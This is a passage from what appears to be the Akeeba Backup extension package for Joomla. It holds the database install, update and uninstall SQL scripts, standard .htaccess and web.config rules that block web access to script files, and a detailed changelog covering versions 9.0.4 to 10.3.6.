    `total_size` bigint(20) NOT NULL DEFAULT '0',
    `frozen` tinyint(1) NOT NULL DEFAULT '0',
    `instep` tinyint(1) NOT NULL DEFAULT '0',
    PRIMARY KEY (`id`),
    KEY `idx_fullstatus` (`filesexist`,`status`),
    KEY `idx_stale` (`status`,`origin`)
) ENGINE InnoDB DEFAULT COLLATE utf8mb4_unicode_ci;

--
-- Create the custom storage table
--
CREATE TABLE IF NOT EXISTS `#__akeebabackup_storage` (
    `tag` varchar(255) NOT NULL COLLATE utf8mb4_unicode_ci,
    `lastupdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COLLATE utf8mb4_unicode_ci,
    `data` longtext COLLATE utf8mb4_unicode_ci,
    PRIMARY KEY (`tag`(100))
) ENGINE InnoDB DEFAULT COLLATE utf8mb4_unicode_ci;

--
-- Create the common table for all Akeeba extensions.
--
-- This table is never uninstalled when uninstalling the extensions themselves.
--
CREATE TABLE IF NOT EXISTS `#__akeeba_common` (
    `key` VARCHAR(190) NOT NULL COLLATE utf8mb4_unicode_ci,
    `value` LONGTEXT NOT NULL COLLATE utf8mb4_unicode_ci,
    PRIMARY KEY (`key`(100))
)
ENGINE InnoDB DEFAULT COLLATE utf8mb4_unicode_ci;PK     \G	  	    sql/install.postgresql.utf8.sqlnu [        /**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

--
-- Create the Profiles table
--
CREATE TABLE IF NOT EXISTS "#__akeebabackup_profiles" (
    id integer GENERATED BY DEFAULT AS IDENTITY,
    description varchar(255) NOT NULL,
    configuration text,
    filters text,
    quickicon smallint NOT NULL DEFAULT 1,
    access integer DEFAULT 1,
    PRIMARY KEY (id)
);

--
-- Create the default backup profile
--
INSERT INTO "#__akeebabackup_profiles"
    (id, description, configuration, filters, quickicon)
VALUES (1, 'Default Backup Profile', '', '', 1)
ON CONFLICT (id) DO NOTHING;

--
-- Create the backups table
--
CREATE TABLE IF NOT EXISTS "#__akeebabackup_backups" (
    id bigint GENERATED BY DEFAULT AS IDENTITY,
    description varchar(255) NOT NULL,
    comment text,
    backupstart timestamp without time zone DEFAULT NULL,
    backupend timestamp without time zone DEFAULT NULL,
    status varchar(8) NOT NULL DEFAULT 'run',
    origin varchar(30) NOT NULL DEFAULT 'backend',
    type varchar(30) NOT NULL DEFAULT 'full',
    profile_id bigint NOT NULL DEFAULT 1,
    archivename text,
    absolute_path text,
    multipart integer NOT NULL DEFAULT 0,
    tag varchar(255) DEFAULT NULL,
    backupid varchar(255) DEFAULT NULL,
    filesexist smallint NOT NULL DEFAULT 1,
    remote_filename varchar(1000) DEFAULT NULL,
    total_size bigint NOT NULL DEFAULT 0,
    frozen smallint NOT NULL DEFAULT 0,
    instep smallint NOT NULL DEFAULT 0,
    PRIMARY KEY (id),
    CONSTRAINT "akeebabackup_backups_status_check"
        CHECK (status IN ('run', 'fail', 'complete'))
);

CREATE INDEX IF NOT EXISTS "idx_akeebabackup_backups_fullstatus"
    ON "#__akeebabackup_backups" (filesexist, status);
CREATE INDEX IF NOT EXISTS "idx_akeebabackup_backups_stale"
    ON "#__akeebabackup_backups" (status, origin);

--
-- Create the custom storage table
--
CREATE TABLE IF NOT EXISTS "#__akeebabackup_storage" (
    tag varchar(255) NOT NULL,
    lastupdate timestamp without time zone NOT NULL DEFAULT CURRENT_TIMESTAMP,
    data text,
    PRIMARY KEY (tag)
);

--
-- Create the common table for all Akeeba extensions.
--
-- This table is never uninstalled when uninstalling the extensions themselves.
--
CREATE TABLE IF NOT EXISTS "#__akeeba_common" (
    key varchar(190) NOT NULL,
    value text NOT NULL,
    PRIMARY KEY (key)
);
PK     \!k      *  sql/updates/postgresql/10.3.0-20260127.sqlnu [        /**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

-- No operationPK     \Sʉ         sql/updates/postgresql/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \s      $  sql/updates/mysql/9.4.0-20221011.sqlnu [        /**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

ALTER TABLE `#__akeebabackup_profiles` ADD COLUMN `access` INT(11) DEFAULT '1';
PK     \%0  0  %  sql/updates/mysql/9.0.10-20211130.sqlnu [        /**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

ALTER TABLE `#__akeebabackup_profiles` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__akeebabackup_backups` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__akeebabackup_storage` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__akeeba_common` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
PK     \!k      )  sql/updates/mysql/9.0.0-20210321-1958.sqlnu [        /**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

-- No operationPK     \Sʉ        sql/updates/mysql/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \m    )  sql/updates/mysql/9.0.9-20211117-2054.sqlnu [        /**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

-- Ensure the correct character set and collation for all tables and columns
-- Note: this update was made obsolete by the 9.0.10 update. Therefore its contents are removed to prevent Joomla from
-- tripping over its feet...PK     \Sʉ        sql/updates/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \};  ;  !  sql/uninstall.postgresql.utf8.sqlnu [        /**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

DROP TABLE IF EXISTS "#__akeebabackup_profiles";
DROP TABLE IF EXISTS "#__akeebabackup_backups";
DROP TABLE IF EXISTS "#__akeebabackup_storage";
PK     \|N      sql/web.confignu [        <?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK     \Sʉ        sql/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \h      CHANGELOG.phpnu [        Akeeba Backup 10.3.6
================================================================================
+ Site Transfer Wizard: transfer any backup archive present on the server, not just the latest one (gh-36)
# [LOW] Site Transfer Wizard: Dark mode layout issues (white-on-white in upload stats area)
# [HIGH] Box, Dropbox, OneDrive stored files under the local temp name
# [HIGH] Uploads failed when using a bucket-restricted BackBlaze B2 key
# [MEDIUM] Box, Dropbox, Google Drive, OneDrive token refresh raced expiry
# [MEDIUM] RackSpace CloudFiles validated the username, not the API key
# [MEDIUM] Dropbox public download URL embedded the access token
# [MEDIUM] OneDrive for Business signed download URL was broken on Graph
# [MEDIUM] S3 v4 pre-signed URLs failed (403) on path-style non-AWS hosts
# [MEDIUM] Google Storage pre-signed URLs duplicated the bucket name (403)
# [LOW] Box folder listing paginated incorrectly
# [LOW] BackBlaze cancelUpload sent the request body as form-data, not JSON
# [LOW] BackBlaze downloadFileById used the wrong API path (404)
# [LOW] WebDAV options() dropped capabilities from repeated DAV headers

Akeeba Backup 10.3.5
================================================================================
+ Translations for Greek (el-GR), French (fr-FR), German (de-DE), Spanish (es-ES), Portuguese (pt-PT), and Italian (it-IT)
~ Switched to BackBlaze B2 v4 API
~ Obfuscate kickstart.txt so that broken file scanners (OVH) don't cause problems by misidentifying it as "malicious"
# [HIGH] The Site Transfer Wizard was not working
# [HIGH] DirectFTP would not work due to setting erroneous directory permissions

Akeeba Backup 10.3.4
================================================================================
# [LOW] Configuration page: Count Quota value not saved when using spinner arrows or when saving without first clicking outside the custom value field
# [MEDIUM] Fix stdClass warning when reading akeeba.quota.logfiles configuration key

Akeeba Backup 10.3.3
================================================================================
+ Add "Delete obsolete log files" quota feature
~ Manage Backups: the View Log button is now disabled with a tooltip when the log file no longer exists on the server
# [MEDIUM] Configuration page: saving an SFTP password containing an angle bracket (e.g. `<F9`) would blank the profile description and deselect the one-click backup icon
# [HIGH] Check file upload: SQL error on all PHP versions when checking for failed uploads
# [HIGH] Check Backup Uploads: TypeError (null given to method_exists) when checking for failed uploads

Akeeba Backup 10.3.2
================================================================================
~ Obfuscate the PostgreSQL dump engine EVEN MORE AGGRESSIVELY so that certain antivirus don't throw a false positive.

Akeeba Backup 10.3.1
================================================================================
~ Obfuscate the PostgreSQL dump engine so that certain antivirus don't throw a false positive.

Akeeba Backup 10.3.0
================================================================================
+ PostgreSQL support

Akeeba Backup 10.2.2
================================================================================
+ Failed backup and failed uploads checks are now available as Joomla Scheduled Tasks
# [LOW] PHP Warning when deleting backup archives under PHP 8.4 and later versions
# [LOW] The AKWarn plugin may not work on hosts with open_basedir restrictions not allowing access to the site's root.

Akeeba Backup 10.2.1
================================================================================
# [HIGH] Joomla 5.4 and 6.0: The console plugin is raising a PHP warning

Akeeba Backup 10.2.0
================================================================================
+ System plugin to notify you of leftovers after restoration
+ Site Transfer Wizard now uploads Kickstart under a random filename
~ New archive extraction script (based on Kickstart 9)
~ PHP 8.5 compatibility
# [HIGH] MySQL to MariaDB: SQL errors when the collation is converted to
 `uca1400_*`
# [HIGH] Site Transfer Wizard: Would not accept SFTP using certificates
# [HIGH] Alternate backup and backup check no longer worked in Joomla 6
# [HIGH] Checking the output directory for direct web access no longer worked in Joomla 6
# [HIGH] The Site Transfer Wizard could fail in Joomla 6
# [MEDIUM] WebPush no longer worked in Joomla 6

Akeeba Backup 10.1.0
================================================================================
+ "Only back up tables installed by Joomla! and its extensions" filter
+ Failed backup upload check
~ Preliminary support for Joomla 6
~ PHP 8.5 compatibility: setAccessible is deprecated for reflection objects
~ PHP 8.5 compatibility: implicit nullable method parameters are deprecated
# [HIGH] "Normalise character set" can break the restoration
# [LOW] Dark Mode: Status row text had almost no contrast
# [LOW] Cannot filter Manage Backups by Frozen state
# [LOW] Moving from MariaDB to MySQL could result in SQL error.

Akeeba Backup 10.0.6
================================================================================
~ Preliminary support for Joomla 6
+ Using IMDSv2 for getting the credentials off EC2 instances
+ More inline text explaining the concept of backup profiles throughout the interface
# [LOW] The Manage Backups page's filter form has the wrong sorting filter

Akeeba Backup 10.0.5
================================================================================
! Problem with the integrated restoration
~ Preliminary support for Joomla 6 (continued)

Akeeba Backup 10.0.4
================================================================================
~ Preliminary support for Joomla 6
+ Warn about using bak_ as the database table name prefix
+ Amazon S3: Support for ACLs on the uploaded backup archives
# [MEDIUM] PHP Error doing a site DB only backup when additional database definitions are present
# [LOW] Error, or inconsistent output when deleting the last item of the last page of a list

Akeeba Backup 10.0.3
================================================================================
+ Support for tables with backticks in their names
~ Restoration: Eliminate deprecation notices under PHP 8.4
# [HIGH] Restoration: lack of otherwise optional mbstring would result in an error
# [HIGH] CLI restoration: error about the DB port being out of range
# [MEDIUM] Some configuration settings are inherited from the default profile when a profile is reset or created afresh
# [MEDIUM] System - Page Cache prevents the JSON API from working properly on some sites

Akeeba Backup 10.0.2
================================================================================
# [HIGH] Front-end legacy and API backup modes don't work when Strict Routing enabled in the System - SEF plugin
# [MEDIUM] Restoration: PHP error when the server reports the site's root as the filesystem root (chroot jail)
# [MEDIUM] Joomla restoration: mail online setting not respected in the web interface
# [LOW] Possible PHP error trying to parse invalid URLs
# [LOW] Deleting the items of the last page in Manage Backups page results in an empty display you can't easily get out of

Akeeba Backup 10.0.1
================================================================================
~ Automatically exclude the .cagefs directory present in some cPanel installations
# [HIGH] PHP Error resetting Joomla! 4 MFA
# [MEDIUM] Possible restoration issues if the upgrade code does not execute when installing the update
# [LOW] Restoration: PHP Deprecated warnings when checking for legacy magic quotes features on PHP 7

Akeeba Backup 10.0.0
================================================================================
+ New restoration script framework, with a minimum requirement of PHP 7.2
~ Maximum batch row size for database backup is now 10000 by default, with a maximum of 1000000
~ Fixed dark mode display of Configuration Wizard on Joomla! 5.2
# [HIGH] Box: cannot refresh the authentication token
# [LOW] The list of tables was no longer output
# [LOW] WebDAV: deleting backups may file on some servers

Akeeba Backup 9.9.11
================================================================================
~ Make accurate PHP CLI path detection optional
# [HIGH] Some OneDrive multipart uploads fail

Akeeba Backup 9.9.10
================================================================================
# [HIGH] Error in Manage Backups page: extra tab in layout file

================================================================================
! Could not work with MySQL 5.x and MariaDB 10.x

Akeeba Backup 9.9.7
================================================================================
+ Multi-row select and row show/hide in the Manage Backups and Profiles pages
+ Support for dumping MySQL EVENTs
+ More accurate information about PHP CLI in the Schedule Automatic Backups page
+ Improved database dump engine
# [LOW] Cannot transfer files to DreamObjects and Google Storage using the S3 API

Akeeba Backup 9.9.6
================================================================================
# [HIGH] Custom OAuth2 token refresh did not work reliably
# [HIGH] Custom OAuth2 set up could be blocked by missing files due to a packaging issue

Akeeba Backup 9.9.5
================================================================================
+ Edit and reset the cache directory (Joomla! 5.1+) on restoration
+ Remove MariaDB MyISAM option PAGE_CHECKSUM from the database dump
~ Improve database dump with table names similar to default values
~ Change the wording of the message when navigating to an off-site directory in the directory browser
~ Workaround for PRE element styling in Joomla! 5.1
~ Workaround for Joomla! 5.1 CSS in alert DIVs
~ Disable migration from Akeeba Backup 8 on Joomla! 5.0 and later
~ PHP 8.4 compatibility: MD5 and SHA-1 functions are deprecated
# [MEDIUM] Tables or databases named `0` can cause the database dump to stop prematurely, or not execute at all
# [MEDIUM] Some akeeba:profile CLI commands had non-functional options
# [LOW] The [PROFILENAME] tag in backup completion emails returns no or wrong labels
# [LOW] Backup on Update showed in more Joomla! Update pages than intended

Akeeba Backup 9.9.4
================================================================================
+ Option to avoid using `flush()` on broken servers

Akeeba Backup 9.9.3
================================================================================
- Remove the deprecated, ineffective CURLOPT_BINARYTRANSFER flag
+ New style for the Backup-on-Update information
+ Alternate Configuration page saving method which doesn't hit maximum POST parameter count limits
+ Improved support for Joomla! 5.1's backend colour schemes
# [HIGH] Custom OAuth2 helpers: cannot use refresh tokens with non-alphanumeric characters (e.g. slashes, plus sign, etc)

Akeeba Backup 9.9.2
================================================================================
! Packaging problem prevented new installations from working correctly

Akeeba Backup 9.9.1
================================================================================
+ Self-hosted OAuth2 helpers
~ Dark Mode color improvements for Joomla! 5.1
# [LOW] Restoration error when you have a newer Admin Tools version installed
# [LOW] Deprecation notice in Configuration Wizard
# [LOW] Exporting a backup profile doesn't automatically save the JSON file

Akeeba Backup 9.9.0
================================================================================
~ Prevent backup failure on push notification error
+ Separate remote and local quota settings
+ Expert options for the Upload to Amazon S3 configuration
+ Upload to OneDrive (app-specific folder)

Akeeba Backup 9.8.5
================================================================================
+ Joomla restoration: allows you to change the robots (search engine) option
# [LOW] CLI commands: fixed import of new profiles
# [LOW] Backup on Update status toggled after saving Joomla Update's Options

Akeeba Backup 9.8.4
================================================================================
+ Automatically downgrade utf8mb4_900_* collations to utf8mb4_unicode_520_ci on MariaDB
+ Updated environment stats collection code
# [MEDIUM] PHP error trying to use WebPush for the first time
# [LOW] Cannot delete backup archive from CLI
# [LOW] PHP 8.3 deprecated notice in ComponentParameters service (no functional issue)

Akeeba Backup 9.8.3
================================================================================
~ Identical to 9.8.2. Re-released as 9.8.3 because of an issue with the update server serving stale information.

Akeeba Backup 9.8.2
================================================================================
# [MEDIUM] Using WebPush leads to PHP error under Joomla! 5
# [LOW] The --force flag in akeeba:option:set was not working

Akeeba Backup 9.8.1
================================================================================
~ Joomla 5 Dark Mode workarounds
+ Support for Joomla 5 custom public folder
+ Restoration: Support Joomla 5 custom public folder
+ Restoration: Use transactions to speed up large table restoration
# [HIGH] The Quick Icon plugin does not show anything in the Joomla! control panel
# [HIGH] The (deprecated) JSON API command to export the configuration fails when the configuration is encrypted
# [HIGH] The akeeba:backup:delete CLI command threw an error due to a typo

Akeeba Backup 9.8.0
================================================================================
+ Use Composer to load all internal dependencies (backup engine, S3 library, WebPush library)
# [LOW] Joomla 5: Manage Backups page does not work when the b/c plugin is disabled.

Akeeba Backup 9.7.1
================================================================================
# [LOW] Possible PHP error when updating this along other extensions using the same post-installation script

Akeeba Backup 9.7.0
================================================================================
+ Notice about Joomla 4 End of Service
+ Workaround for Wasabi S3v4 signatures
+ Support for uploading to Shared With Me folders in Google Drive
- Remove the non-functional “Hide toolbar” option from the Backup Now backend menu item
~ Changed the plugins' namespace
~ Joomla 5 preparation: Use DatabaseInterface instead of DatabaseDriver
~ Joomla 5 preparation: Work around backwards incompatible changes in core plugin events
~ Joomla 5 preparation: Normalise plugin event calling
~ Joomla 5 preparation: Loading form data MUST NOT return a Table anymore
~ Improved error reporting, removing the unhelpful "(HTML containing script tags)" message
~ Improved mixed– and upper–case database prefix support at backup time
~ Normalised view names
# [MEDIUM] Upload to S3 would always use v2 signatures with a custom endpoint.
# [MEDIUM] Visiting the Control Panel page would always try to save the Output Directory, replacing most variables
# [MEDIUM] Resetting corrupt backups can cause a crash of the Control Panel page
# [LOW] Trying to delete a profile which cannot be deleted results in error page instead of an above-the-table error message
# [LOW] Cannot save an edited backup record leaving the comment blank
# [LOW] Users are not prompted to run the Configuration Wizard on new installation

Akeeba Backup 9.6.2
================================================================================
~ Block uninstallation of child extensions
# [LOW] CLI backups no longer record an end date and time due to a change in Joomla's behavior
# [LOW] Backup On Update: Would always use profile 1
# [LOW] Backup On Update: Inversion of logic of the switches in its options page

Akeeba Backup 9.6.1
================================================================================
# [MEDIUM] HTTP PUT might fail on some servers
# [LOW] opcache_invalidate may not invalidate a file
# [LOW] Would not work on 32-bit versions of PHP

Akeeba Backup 9.6.0
================================================================================
+ Support for files and archives over 2GiB (JPA file format 1.3)
+ New JSON API endpoint, using the Joomla API Application
~ Disabled deprecated API methods
~ Improve the Schedule Automatic Backups page
# [MEDIUM] JSON API: deleteFiles method throws an exception due to a typo

Akeeba Backup 9.5.1
================================================================================
+ Restoration: handle Joomla 4.2+ MFA options
# [MEDIUM] Plugins not enabled on clean installation
# [MEDIUM] JSON API cannot delete backup records and profiles

Akeeba Backup 9.5.0
================================================================================
+ Option to treat failed uploads as a backup error

Akeeba Backup 9.4.8
================================================================================
! A packaging issue broke the restoration script in backup archives

Akeeba Backup 9.4.7
================================================================================
# [MEDIUM] Fixed drive selection for Google Drive post processing engine

Akeeba Backup 9.4.6
================================================================================
# [HIGH] Some password managers prevent successful submission of the Site Setup page (you get an error about a missing email address)
# [LOW] Wrong grammatical case (nominative instead of genitive) in months in some languages e.g. Greek
# [LOW] Push messages may be untranslated strings when a backup is taken over the API or the frontend backup URL

Akeeba Backup 9.4.5
================================================================================
# [HIGH] Unexpected behaviour in the backend when Joomla cache is enabled
# [HIGH] BackBlaze B2 single file uploads were broken

Akeeba Backup 9.4.4
================================================================================
+ ALICE button in the log view
# [HIGH] Migration from Akeeba Backup 8 fails since 9.4.0 added an access setting in backup profiles

Akeeba Backup 9.4.3
================================================================================
# [HIGH] Migration from Akeeba Backup 8 always shows an erroneous message that no compatible version has been detected.
# [MEDIUM] Restoration. Administrator email appears as "undefined" in the Site Setup page
# [LOW] Restoration: Wrong message about the emial address when the administrator passwords don't match

Akeeba Backup 9.4.2
================================================================================
! No access control applied in Include and Exclude Information features
# [HIGH] Class not found errors when trying to access some pages in Akeeba Backup

Akeeba Backup 9.4.1
================================================================================
! Immediate error on PHP 7.4 due to a missing method in the released version

Akeeba Backup 9.4.0
================================================================================
~ Requires Joomla 4.2 or later
~ Requires PHP 7.4.0 or later
~ Much simpler message if you try to run Akeeba Backup on an unsupported (too low) version of PHP.
~ Changed all warnings to much more compact DETAILS elements
+ Access levels in backup profiles
+ Option about including the latest backup in remote quotas
- Removed the PHP version warning. Joomla already warns you about EOL versions of PHP.
# [HIGH] Site Transfer Wizard will fail on a target site using PHP 8.1 or later by default
# [LOW] ZIP Archiver, invalid CRC32 calculated for some small files in the installation folder

Akeeba Backup 9.3.4
================================================================================
# [LOW] ZIP Archiver, invalid CRC32 calculated for some small files in the installation folder

Akeeba Backup 9.3.3
================================================================================
~ Better warnings about CRC32 for ZIP files on 32-bit versions of PHP
# [HIGH] Quota settings and emails are not processed at the end of the backup process
# [HIGH] Joomla Scheduled Tasks for Akeeba Backup may fail with a PHP error

Akeeba Backup 9.3.2
================================================================================
~ PHP notices are now only logged when Debug Site is enabled
~ Notify the user when the server does not support Web Push instead of just failing to subscribe to push notifications
# [MEDIUM] WebPush code tries to run when not selected resulting in an annoying, but harmless, warning
# [MEDIUM] Possible PHP fatal error if the server does not meet the Web Push minimum requirements
# [LOW] PHP 8 deprecated notices from the WebPush library

Akeeba Backup 9.3.1
================================================================================
+ Push notifications through the browser's Push API
+ ANGIE for Joomla: reset session and cache options in Site Setup
+ Support for ShowOn to conditionally show options in the Configuration page
~ Save and Save & Close buttons are now separate, as per Joomla 4.2 UI guidelines
# [HIGH] Single part uploads to Azure stopped working
# [LOW] “Field 'extra_query' doesn't have a default value” error on some broken installations
# [LOW] PHP warning about undefined $id in the Manage Backups page on some versions of PHP

Akeeba Backup 9.3.0
================================================================================
+ Upload to Swift: Support for Keystone v3
# [HIGH] Joomla broke database-aware models under the CLI. Working around the latest Joomla borkage, as we have always done.
# [MEDIUM] Command line options overrides don't work because of a typo
# [LOW] PHP 8.1 deprecated notice when checking if FOF is still installed
# [LOW] "Test FTP connection" button was not correctly applying the passive mode
# [LOW] CLI akeeba:profile:list was broken

Akeeba Backup 9.2.7
================================================================================
+ More informative error messages for database connection issues during restoration
~ Workaround for utf8_encode and _decode being deprecated in PHP 8.2
# [LOW] Restoration: You were shown separate port and socket options which were not taken into account
# [MEDIUM] Restoration: Using a custom port or socket might result in the wrong hostname being written in the restored site's configuration file
# [MEDIUM] Possible infinite loop on PHP 8 during DB restoration if a SQL file is missing
# [LOW] Invalid SQL dump if we cannot get the create commands for a function, procedure or trigger

Akeeba Backup 9.2.6
================================================================================
+ Restoration: Warn about missing mysqli / PDO MySQL and REFUSE to proceed
# [HIGH] Cannot download file from Amazon S3
# [LOW] PHP Warning when backing up a database (purely cosmetic issue)
# [LOW] Missing language strings from the CLI commands

Akeeba Backup 9.2.5
================================================================================
+ Restoration: Warn about missing mysqli / PDO MySQL and REFUSE to proceed
# [HIGH] Cannot download file from Amazon S3
# [LOW] PHP Warning when backing up a database (purely cosmetic issue)
# [LOW] Missing language strings from the CLI commands

Akeeba Backup 9.2.4
================================================================================
# [HIGH] Cannot connect to databases on localhost using the default named pipe
# [MEDIUM] Custom Amazon S3 regions would not work with custom endpoints

Akeeba Backup 9.2.3
================================================================================
+ Support for custom Amazon S3 regions
+ Support for MySQL SSL/TLS connections for backed up sites
+ Add Show Inline Help support in component options for Joomla 4.1
# [LOW] Weird interface for the CLI backup Scheduled Task type

Akeeba Backup 9.2.2
================================================================================
+ Improved Smart Search table filtering
+ Much improved FTP functions for uploading backup archives and transferring sites
+ Upload to Azure BLOB Storage now supports chunked uploads, files up to 190.7TB (up from 64Mb)
+ OneDrive for Business: you can now use Drives other than your personal
~ Ignore whitespace in the new site's URL in the Site Transfer Wizard
~ Stricter conditions for determining when to show the “Manage remotely stored files” button in Manage Backups
# [LOW] Upload to Remote Storage would transfer the first part file twice
# [MEDIUM] Fixed download of remote archives back to the server
# [MEDIUM] OneDrive: Uploads may fail if they are between 4Mb and 100Mb

Akeeba Backup 9.2.1
================================================================================
+ Restoration: ANGIE now applies very high memory and execution time limits to prevent some timeout / memory outage issues on most hosts.
+ Restoration: ANGIE now warns you if you leave the database connection information empty
+ Option to set a really large PHP memory limit during backup
~ Show an error if the temp file cannot be opened when importing from S3
# [HIGH] Sometimes you would not see the error when the Upload to Remote Storage failed
# [MEDIUM] ALICE would not list any logs, even for failed backups
# [LOW] The JPS archiver would show warnings about unreadable files when archiving directories without any files in them.
# [LOW] The directory browser in the Configuration page doesn't open the defined folder when it contains variables
# [LOW] Extra whitespace in the Upload to Remote Storage pages
# [LOW] Configure and Export in the backup profiles manager do not work because of backwards incompatible changes in Joomla 4.1.1

Akeeba Backup 9.2.0
================================================================================
+ Integration with Joomla 4.1's Scheduled Tasks
# [HIGH] Uploading to OVH is broken on many servers not using a proxy
# [LOW] Popover content does not display in the Configuration page

Akeeba Backup 9.1.1
================================================================================
# [HIGH] Wrong RewriteBase set up in the .htaccess Maker when restoring a Joomla site with Admin Tools Professional installed

Akeeba Backup 9.1.0
================================================================================
+ Allow using [REMOTESTATUS] in the email subject, not just the body
+ Warn about the Console – Akeeba Backup plugin being disabled in the Schedule Automatic Backups page
+ Joomla restoration: modify domains in the Admin Tools' Allowed Domains and server config maker features if necessary
~ Force the Quickicon plugin to always show in the Notifications area instead of the 3rd Party area
# [HIGH] Problems restoring if a table name ends in 0 when another table with an identical name EXCEPT the trailing zero is also being backed up
# [HIGH] Backing up to SQL: indices would not have the correct table name prefix
# [HIGH] Backing up as SQL: the query for finder_taxonomy does not use the correct prefix
# [MEDIUM] Log Priorities global configuration option got mangled restoring a Joomla 4 site
# [LOW] Restore backup admin menu does not work correctly with multiple backup profiles
# [LOW] RackSpace CloudFiles: some hosts change the case of HTTP headers
# [LOW] Test FTP button was not working
# [LOW] Fixed displaying multi-line backup comments in the Manage Backups page

Akeeba Backup 9.0.11
================================================================================
+ Support for MySQL 8 invisible columns
# [LOW] Rare type error under PHP 8 during restoration
# [LOW] Wrong translation string in backend menu item type
# [LOW] Wrong controls in Backup and Restore backend menu item types

Akeeba Backup 9.0.10
================================================================================
- Remove piecon (pie graph favicon showing the backup progress)
~ JSON API: Forcibly use the ‘json’ origin everywhere
~ JSON API: Throw an error if the backup ID sent to stepBackup does not exist
~ JSON API: Improved backup IDs prevent a number of JSON API issues
~ Auto–publish the Console plugin in the Professional version
# [LOW] JSON API: The wrong origin (‘frontend’ instead of ‘json’) was recorded
# [LOW] Manage Backups: The View Log button didn't take you to the correct log file

Akeeba Backup 9.0.9
================================================================================
- Removed iDriveSync; the service has been discontinued by the provider.
- Removed the “Archive integrity check” feature.
~ Ensure the correct collation of all database tables and columns used by the extension
~ Dropbox connector updated to require TLS v1.2
+ API requests: Prevent server cache
+ Better support for custom database drivers provided by third party extensions
# [LOW] Bootstrap 5.1.2 included in Joomla 4.0.4 broke the CSS for Control Panel icons
# [LOW] Check failed backups: All Super Users were notified even when an email was supplied

Akeeba Backup 9.0.8
================================================================================
# [MEDIUM] Wrong ACL check wouldn't allow non–Super User accounts from accessing the component
# [LOW] PHP 8 error if the output directory is empty

Akeeba Backup 9.0.7
================================================================================
~ Remove dash from automatically generated random values for archive naming
~ Adjusted padding in download backup modal
+ Increase the maximum Size Quota limit to 1Pb
+ Support for Joomla proxy configuration
# [MEDIUM] Cannot restore on PHP 8 if Two Factor Authentication is enabled in any user account
# [HIGH] Backing up to Box, Dropbox, Google Drive or OneDrive may not be possible if you are using an add-on Download ID

Akeeba Backup 9.0.6
================================================================================
# [HIGH] Legacy front-end backup fails to execute when stepping through the backup with a 404 error
# [MEDIUM] Could not enable encryption for configuration settings
# [LOW] The usage statistics model is not loaded in the control panel page
# [LOW] PHP Warning from the TriggerEvent trait
# [LOW] Added back button after backup completion
# [LOW] Wrong use of double quotes in CLI language file

Akeeba Backup 9.0.5
================================================================================
+ You are given the option to rerun the migration or uninstall Akeeba Backup 8 (with a nifty link) after migrating settings from Akeeba Backup 8.
+ Migration now also imports the Download ID from Akeeba Backup 8
# [HIGH] JavaScript errors due to strict mode in Configuration, Database Filters, Include Folders, Restoration, S3 Import and Transfer Wizard pages

Akeeba Backup 9.0.4
================================================================================
+ CLI Migration command
~ Completely removing the use of the Joomla CMS Filesystem API for writing / copying / moving files because it's too buggy
# [MEDIUM] JSON API getProfiles returns an empty array
# [HIGH] CLI backups always run with profile #1, even if you use the --profile parameter
# [LOW] Downgrading from Pro to Core didn't work correctly
# [LOW] Warning in Manage Backups page if you have deleted the backup profile used to take a backup listed there

